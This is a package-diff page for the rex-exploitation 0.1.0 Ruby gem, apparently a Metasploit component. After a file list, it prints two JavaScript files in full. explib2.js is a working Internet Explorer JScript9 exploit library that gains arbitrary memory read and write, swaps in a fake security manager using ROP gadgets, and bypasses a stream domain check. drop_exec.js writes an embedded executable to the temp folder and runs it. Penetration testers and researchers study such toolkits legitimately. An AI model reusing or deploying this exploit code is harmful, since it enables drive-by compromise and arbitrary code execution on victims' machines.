rex-exploitation 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +1 -0
- data/.gitignore +9 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +74 -0
- data/Gemfile +4 -0
- data/README.md +33 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/data/exploits/cmdstager/debug_asm +91 -0
- data/data/exploits/cmdstager/debug_write +819 -0
- data/data/exploits/cmdstager/vbs_b64 +40 -0
- data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
- data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
- data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
- data/data/js/detect/ie_addons.js +89 -0
- data/data/js/detect/misc_addons.js +157 -0
- data/data/js/detect/os.js +831 -0
- data/data/js/memory/explib2/lib/explib2.js +426 -0
- data/data/js/memory/explib2/payload/drop_exec.js +33 -0
- data/data/js/memory/explib2/payload/exec.js +10 -0
- data/data/js/memory/heap_spray.js +17 -0
- data/data/js/memory/heaplib2.js +192 -0
- data/data/js/memory/mstime_malloc.js +31 -0
- data/data/js/memory/property_spray.js +38 -0
- data/data/js/network/ajax_download.js +18 -0
- data/data/js/network/ajax_post.js +18 -0
- data/data/js/network/xhr_shim.js +15 -0
- data/data/js/utils/base64.js +126 -0
- data/data/ropdb/flash.xml +80 -0
- data/data/ropdb/hxds.xml +66 -0
- data/data/ropdb/java.xml +33 -0
- data/data/ropdb/msvcrt.xml +71 -0
- data/data/ropdb/reader.xml +132 -0
- data/data/ropdb/samba.xml +436 -0
- data/data/ropdb/stagefright.xml +225 -0
- data/lib/rex/exploitation.rb +7 -0
- data/lib/rex/exploitation/cmdstager.rb +11 -0
- data/lib/rex/exploitation/cmdstager/base.rb +189 -0
- data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
- data/lib/rex/exploitation/egghunter.rb +423 -0
- data/lib/rex/exploitation/encryptjs.rb +79 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +107 -0
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +70 -0
- data/lib/rex/exploitation/js/memory.rb +80 -0
- data/lib/rex/exploitation/js/network.rb +83 -0
- data/lib/rex/exploitation/js/utils.rb +32 -0
- data/lib/rex/exploitation/jsobfu.rb +17 -0
- data/lib/rex/exploitation/obfuscatejs.rb +336 -0
- data/lib/rex/exploitation/omelet.rb +321 -0
- data/lib/rex/exploitation/opcodedb.rb +819 -0
- data/lib/rex/exploitation/ropdb.rb +190 -0
- data/lib/rex/exploitation/seh.rb +93 -0
- data/lib/rex/exploitation/version.rb +5 -0
- data/rex-exploitation.gemspec +35 -0
- metadata +298 -0
- metadata.gz.sig +0 -0
@@ -0,0 +1,426 @@
|
|
1
|
+
|
2
|
+
|
3
|
+
ExpLib = (function() {
|
4
|
+
|
5
|
+
function ExpLib( num_arrays, arr_size, base, payload ) {
|
6
|
+
this.arr1 = null;
|
7
|
+
this.arr2 = null;
|
8
|
+
this.base = base;
|
9
|
+
this.arr_size = arr_size;
|
10
|
+
this.arr_arr = null;
|
11
|
+
// Allows to control the contents of the sprayed memory.
|
12
|
+
// Have into account some array positions will be corrupted
|
13
|
+
// while leaking and modifying things.
|
14
|
+
this.arr_contents = [];
|
15
|
+
|
16
|
+
this.payload = payload;
|
17
|
+
this.modules = {}
|
18
|
+
this.getproc = null;
|
19
|
+
this.loadlibrary = null;
|
20
|
+
|
21
|
+
// Offset to the Origin URL in the Stream, modifying it
|
22
|
+
// allows to bypass msado15.SecurityCheck(), allowing
|
23
|
+
// for example to write stream contents to filesystem.
|
24
|
+
this.stream_origin = 0x44;
|
25
|
+
}
|
26
|
+
|
27
|
+
ExpLib.prototype.resolveAPI = function( modulename, procname ) {
|
28
|
+
var module = this.resolveModule( modulename );
|
29
|
+
|
30
|
+
return this.callAPI( this.getproc, module, this.allocateString(procname) );
|
31
|
+
}
|
32
|
+
|
33
|
+
ExpLib.prototype.resolveModule = function( modulename ) {
|
34
|
+
if ( this.modules[modulename] )
|
35
|
+
return this.modules[modulename];
|
36
|
+
|
37
|
+
var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
|
38
|
+
this.modules[modulename] = module;
|
39
|
+
return module;
|
40
|
+
}
|
41
|
+
|
42
|
+
ExpLib.prototype.spray = function() {
|
43
|
+
this.arr_arr = new Array( num_arrays );
|
44
|
+
|
45
|
+
var decl = "[";
|
46
|
+
|
47
|
+
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
|
48
|
+
decl += '0,';
|
49
|
+
}
|
50
|
+
|
51
|
+
decl += '0';
|
52
|
+
decl += ']';
|
53
|
+
|
54
|
+
for ( var i = 0; i < num_arrays; ++ i ) {
|
55
|
+
this.arr_arr[i] = eval(decl);
|
56
|
+
for(var j = 0; j < this.arr_contents.length; j++) {
|
57
|
+
this.arr_arr[i][j] = this.arr_contents[j];
|
58
|
+
}
|
59
|
+
}
|
60
|
+
|
61
|
+
}
|
62
|
+
|
63
|
+
// Should be used before calling spray()
|
64
|
+
ExpLib.prototype.setArrContents = function(contents) {
|
65
|
+
for(var i = 0; i < this.arr_size && i < contents.length; i++) {
|
66
|
+
this.arr_contents[i] = contents[i];
|
67
|
+
}
|
68
|
+
}
|
69
|
+
|
70
|
+
ExpLib.prototype.setValue = function(i1, i2, v) {
|
71
|
+
this.arr_arr[i1][i2] = v;
|
72
|
+
}
|
73
|
+
|
74
|
+
|
75
|
+
ExpLib.prototype.setValueByAddr = function(index, addr, v) {
|
76
|
+
this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
|
77
|
+
}
|
78
|
+
|
79
|
+
ExpLib.prototype.read32 = function(addr) {
|
80
|
+
if ( addr % 4 ) {
|
81
|
+
// error
|
82
|
+
}
|
83
|
+
|
84
|
+
if ( addr >= this.arr2_member_base ) {
|
85
|
+
return this.arr2[(addr - this.arr2_member_base)/4];
|
86
|
+
} else {
|
87
|
+
return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
|
88
|
+
}
|
89
|
+
}
|
90
|
+
|
91
|
+
ExpLib.prototype.write32 = function(addr, value) {
|
92
|
+
if ( addr % 4 ) {
|
93
|
+
// error
|
94
|
+
}
|
95
|
+
|
96
|
+
if ( value >= 0x80000000 )
|
97
|
+
value = -(0x100000000 - value);
|
98
|
+
|
99
|
+
//alert(((addr - this.arr2_member_base)/4).toString(16));
|
100
|
+
if ( addr >= this.arr2_member_base ) {
|
101
|
+
this.arr2[(addr - this.arr2_member_base)/4] = value;
|
102
|
+
} else {
|
103
|
+
this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
|
104
|
+
}
|
105
|
+
}
|
106
|
+
|
107
|
+
ExpLib.prototype.read8 = function(addr) {
|
108
|
+
var value = this.read32( addr & 0xfffffffc );
|
109
|
+
switch ( addr % 4 ) {
|
110
|
+
case 0: return (value & 0xff);
|
111
|
+
case 1: return ((value >> 8) & 0xff);
|
112
|
+
case 2: return ((value >> 16) & 0xff);
|
113
|
+
case 3: return ((value >> 24) & 0xff);
|
114
|
+
}
|
115
|
+
|
116
|
+
return 0;
|
117
|
+
}
|
118
|
+
|
119
|
+
ExpLib.prototype.write8 = function(addr, value) {
|
120
|
+
var original_value = this.read32( addr & 0xfffffffc );
|
121
|
+
var new_value;
|
122
|
+
|
123
|
+
switch ( addr % 4 ) {
|
124
|
+
case 0:
|
125
|
+
new_value = (original_value & 0xffffff00) | (value & 0xff);
|
126
|
+
break;
|
127
|
+
|
128
|
+
case 1:
|
129
|
+
new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
|
130
|
+
break;
|
131
|
+
case 2:
|
132
|
+
new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
|
133
|
+
break;
|
134
|
+
case 3:
|
135
|
+
new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
|
136
|
+
break;
|
137
|
+
}
|
138
|
+
|
139
|
+
|
140
|
+
this.write32( addr & 0xfffffffc, new_value );
|
141
|
+
}
|
142
|
+
|
143
|
+
|
144
|
+
ExpLib.prototype.writeBytes = function(addr, bytes) {
|
145
|
+
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
|
146
|
+
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
|
147
|
+
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
|
148
|
+
|
149
|
+
this.write32( addr + i, value );
|
150
|
+
}
|
151
|
+
|
152
|
+
for ( ; i < bytes.length; ++ i ) {
|
153
|
+
this.write8( addr + i, bytes[i] );
|
154
|
+
}
|
155
|
+
}
|
156
|
+
|
157
|
+
ExpLib.prototype.writeString = function(addr, s) {
|
158
|
+
var bytes = [];
|
159
|
+
var i = 0;
|
160
|
+
for ( ; i < s.length; ++ i ) {
|
161
|
+
bytes[i] = s.charCodeAt(i);
|
162
|
+
}
|
163
|
+
|
164
|
+
bytes[i] = 0;
|
165
|
+
|
166
|
+
this.writeBytes( addr, bytes );
|
167
|
+
}
|
168
|
+
|
169
|
+
ExpLib.prototype.writeStringW = function(addr, s) {
|
170
|
+
var bytes = [];
|
171
|
+
var i = 0;
|
172
|
+
for ( ; i < s.length; ++i ) {
|
173
|
+
bytes[i * 2] = s.charCodeAt(i);
|
174
|
+
bytes[i * 2 + 1] = 0;
|
175
|
+
}
|
176
|
+
|
177
|
+
bytes[s.length * 2] = 0;
|
178
|
+
bytes[s.length * 2 + 1] = 0;
|
179
|
+
|
180
|
+
this.writeBytes( addr, bytes );
|
181
|
+
}
|
182
|
+
|
183
|
+
ExpLib.prototype.read16 = function(addr) {
|
184
|
+
if ( addr % 2 ) {
|
185
|
+
// error, not aligned
|
186
|
+
}
|
187
|
+
|
188
|
+
var value = this.read32( addr & 0xfffffffc );
|
189
|
+
switch ( addr % 4 ) {
|
190
|
+
case 0: return (value & 0xffff);
|
191
|
+
case 1: return ((value >> 8) & 0xffff);
|
192
|
+
case 2: return ((value >> 16) & 0xffff);
|
193
|
+
case 3: /*not supported*/ break;
|
194
|
+
}
|
195
|
+
|
196
|
+
return 0;
|
197
|
+
}
|
198
|
+
|
199
|
+
ExpLib.prototype.strequal = function(addr, s) {
|
200
|
+
for ( var i = 0; i < s.length; ++ i ) {
|
201
|
+
if ( this.read8(addr + i) != s.charCodeAt(i) )
|
202
|
+
return false;
|
203
|
+
}
|
204
|
+
|
205
|
+
return true;
|
206
|
+
}
|
207
|
+
|
208
|
+
|
209
|
+
ExpLib.prototype.getModuleBase = function(addr) {
|
210
|
+
|
211
|
+
var cur_addr = addr;
|
212
|
+
|
213
|
+
while ( cur_addr > 0 ) {
|
214
|
+
|
215
|
+
if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
|
216
|
+
return cur_addr;
|
217
|
+
}
|
218
|
+
|
219
|
+
cur_addr -= 0x10000;
|
220
|
+
}
|
221
|
+
|
222
|
+
return 0;
|
223
|
+
}
|
224
|
+
|
225
|
+
|
226
|
+
|
227
|
+
ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
|
228
|
+
var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
|
229
|
+
var cur_table = import_table;
|
230
|
+
|
231
|
+
while ( cur_table < import_table + 0x1000 ) {
|
232
|
+
|
233
|
+
var name_addr = base + this.read32(cur_table + 12);
|
234
|
+
if ( this.strequal( name_addr, name ) ) {
|
235
|
+
var iat = base + this.read32(cur_table + 16);
|
236
|
+
var func = this.read32(iat);
|
237
|
+
while ( 0 == func ) {
|
238
|
+
iat += 4;
|
239
|
+
func = this.read32(iat);
|
240
|
+
}
|
241
|
+
|
242
|
+
return this.getModuleBase( func & 0xFFFF0000 );
|
243
|
+
|
244
|
+
}
|
245
|
+
|
246
|
+
cur_table += 20;
|
247
|
+
}
|
248
|
+
|
249
|
+
return 0;
|
250
|
+
}
|
251
|
+
|
252
|
+
ExpLib.prototype.getProcAddress = function(base, procname) {
|
253
|
+
var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
|
254
|
+
var num_functions = this.read32( export_table + 20 );
|
255
|
+
var addr_functions = base + this.read32( export_table + 28 );
|
256
|
+
var addr_names = base + this.read32( export_table + 32 );
|
257
|
+
var addr_ordinals = base + this.read32( export_table + 36 );
|
258
|
+
|
259
|
+
for ( var i = 0; i < num_functions; ++ i ) {
|
260
|
+
var name_addr = this.read32( addr_names + i * 4 ) + base;
|
261
|
+
if ( this.strequal( name_addr, procname ) ) {
|
262
|
+
var ordinal = this.read16( addr_ordinals + i * 2 );
|
263
|
+
var result = this.read32( addr_functions + ordinal * 4 ) + base;
|
264
|
+
return result;
|
265
|
+
}
|
266
|
+
}
|
267
|
+
|
268
|
+
return 0;
|
269
|
+
}
|
270
|
+
|
271
|
+
ExpLib.prototype.searchBytes = function(pattern, start, end) {
|
272
|
+
|
273
|
+
if ( start >= end || start + pattern.length > end )
|
274
|
+
return 0;
|
275
|
+
|
276
|
+
var pos = start;
|
277
|
+
while ( pos < end ) {
|
278
|
+
for ( var i = 0; i < pattern.length; ++ i ) {
|
279
|
+
if ( this.read8(pos + i) != pattern[i] )
|
280
|
+
break;
|
281
|
+
}
|
282
|
+
|
283
|
+
if ( i == pattern.length ) {
|
284
|
+
return pos;
|
285
|
+
}
|
286
|
+
|
287
|
+
++ pos;
|
288
|
+
}
|
289
|
+
|
290
|
+
return 0;
|
291
|
+
}
|
292
|
+
|
293
|
+
|
294
|
+
ExpLib.prototype.getError = function(msg) {
|
295
|
+
return this.err_msg;
|
296
|
+
}
|
297
|
+
|
298
|
+
ExpLib.prototype.setError = function(msg) {
|
299
|
+
this.err_msg = msg;
|
300
|
+
}
|
301
|
+
|
302
|
+
ExpLib.prototype.setStreamOrigin = function(offset) {
|
303
|
+
this.stream_origin = offset;
|
304
|
+
}
|
305
|
+
|
306
|
+
ExpLib.prototype.getStreamOrigin = function() {
|
307
|
+
return this.stream_origin;
|
308
|
+
}
|
309
|
+
|
310
|
+
ExpLib.prototype.memcpy = function(dst, src, size) {
|
311
|
+
var i = 0;
|
312
|
+
for ( ; i < size - 4; i += 4 ) {
|
313
|
+
this.write32( dst + i, this.read32(src + i) );
|
314
|
+
}
|
315
|
+
|
316
|
+
for ( ; i < size; ++ i ) {
|
317
|
+
this.write8( dst + i, this.read8(src + i) );
|
318
|
+
}
|
319
|
+
}
|
320
|
+
|
321
|
+
ExpLib.prototype.go = function() {
|
322
|
+
|
323
|
+
var i = 0;
|
324
|
+
|
325
|
+
|
326
|
+
|
327
|
+
for ( ; i < this.arr_arr.length - 1; ++ i ) {
|
328
|
+
this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
|
329
|
+
|
330
|
+
if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
|
331
|
+
this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
|
332
|
+
this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
|
333
|
+
|
334
|
+
this.arr_arr[i + 1].length = 0x3fffffff;
|
335
|
+
|
336
|
+
if ( this.arr_arr[i+1].length == 0x3fffffff ) {
|
337
|
+
break;
|
338
|
+
}
|
339
|
+
}
|
340
|
+
|
341
|
+
}
|
342
|
+
|
343
|
+
if ( i >= this.arr_arr.length - 1 ) {
|
344
|
+
this.setError( "Cannot find array with corrupt length!" );
|
345
|
+
return false;
|
346
|
+
}
|
347
|
+
|
348
|
+
this.arr1_idx = i;
|
349
|
+
this.arr2_idx = i + 1;
|
350
|
+
|
351
|
+
this.arr1 = this.arr_arr[i];
|
352
|
+
this.arr2 = this.arr_arr[i + 1];
|
353
|
+
|
354
|
+
this.arr2_base = this.base + 0x1000;
|
355
|
+
this.arr2_member_base = this.arr2_base + 0x20;
|
356
|
+
|
357
|
+
var func_addr = this.leakAddress(ActiveXObject);
|
358
|
+
var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
|
359
|
+
|
360
|
+
//alert(script_engine_addr.toString(16));
|
361
|
+
|
362
|
+
var original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
363
|
+
if ( !original_securitymanager ) {
|
364
|
+
// let security manager to be valid
|
365
|
+
try {
|
366
|
+
var WshShell = new ActiveXObject("WScript.shell");
|
367
|
+
} catch (e) {}
|
368
|
+
|
369
|
+
original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
370
|
+
}
|
371
|
+
|
372
|
+
var original_securitymanager_vtable = this.read32(original_securitymanager);
|
373
|
+
var securitymanager_size = 0x28;
|
374
|
+
var fake_securitymanager = 0x1a1b2010;
|
375
|
+
var fake_securitymanager_vtable = fake_securitymanager + 0x28;
|
376
|
+
//alert(original_securitymanager.toString(16));
|
377
|
+
|
378
|
+
this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
|
379
|
+
this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
|
380
|
+
this.write32( fake_securitymanager, fake_securitymanager_vtable );
|
381
|
+
this.write32(script_engine_addr + 0x21c, fake_securitymanager);
|
382
|
+
|
383
|
+
var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
|
384
|
+
var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
|
385
|
+
var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
|
386
|
+
|
387
|
+
|
388
|
+
this.write32( fake_securitymanager_vtable + 0x14,
|
389
|
+
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
|
390
|
+
|
391
|
+
this.write32( fake_securitymanager_vtable + 0x10,
|
392
|
+
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
|
393
|
+
|
394
|
+
this.payload.execute(this);
|
395
|
+
|
396
|
+
|
397
|
+
/*
|
398
|
+
* restore
|
399
|
+
*/
|
400
|
+
|
401
|
+
this.write32( script_engine_addr + 0x21c, original_securitymanager );
|
402
|
+
|
403
|
+
return true;
|
404
|
+
|
405
|
+
}
|
406
|
+
|
407
|
+
ExpLib.prototype.leakAddress = function(obj) {
|
408
|
+
this.arr_arr[this.arr2_idx + 1][2] = obj;
|
409
|
+
return this.read32(this.arr2_member_base + 0x1008);
|
410
|
+
}
|
411
|
+
|
412
|
+
ExpLib.prototype.switchStreamOrigin = function(stream) {
|
413
|
+
var obj = this.leakAddress(stream);
|
414
|
+
var stream_obj = this.read32(obj + 0x30);
|
415
|
+
//var url_addr = this.read32(stream_obj + 0x3c);
|
416
|
+
var url_addr = this.read32(stream_obj + this.stream_origin);
|
417
|
+
|
418
|
+
/*
|
419
|
+
* bypass domain check
|
420
|
+
*/
|
421
|
+
this.writeStringW( url_addr, 'file:///C:/1.htm' );
|
422
|
+
}
|
423
|
+
|
424
|
+
return ExpLib;
|
425
|
+
|
426
|
+
})();
|
@@ -0,0 +1,33 @@
|
|
1
|
+
function payload_drop_exec(pe) {
|
2
|
+
|
3
|
+
this.execute = function(explib) {
|
4
|
+
|
5
|
+
var WshShell = new ActiveXObject("WScript.shell");
|
6
|
+
var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
|
7
|
+
var filename = temp + "\\a.exe";
|
8
|
+
|
9
|
+
var bStream = new ActiveXObject("ADODB.Stream");
|
10
|
+
var txtStream = new ActiveXObject("ADODB.Stream");
|
11
|
+
bStream.Type = 1;
|
12
|
+
txtStream.Type = 2;
|
13
|
+
|
14
|
+
bStream.Open();
|
15
|
+
txtStream.Open();
|
16
|
+
|
17
|
+
explib.switchStreamOrigin(txtStream);
|
18
|
+
|
19
|
+
txtStream.WriteText(pe);
|
20
|
+
txtStream.Position = 2;
|
21
|
+
txtStream.CopyTo( bStream );
|
22
|
+
txtStream.Close();
|
23
|
+
|
24
|
+
explib.switchStreamOrigin(bStream);
|
25
|
+
|
26
|
+
bStream.SaveToFile(filename, 2);
|
27
|
+
bStream.Close();
|
28
|
+
|
29
|
+
oExec = WshShell.Exec(filename);
|
30
|
+
}
|
31
|
+
|
32
|
+
return this;
|
33
|
+
}
|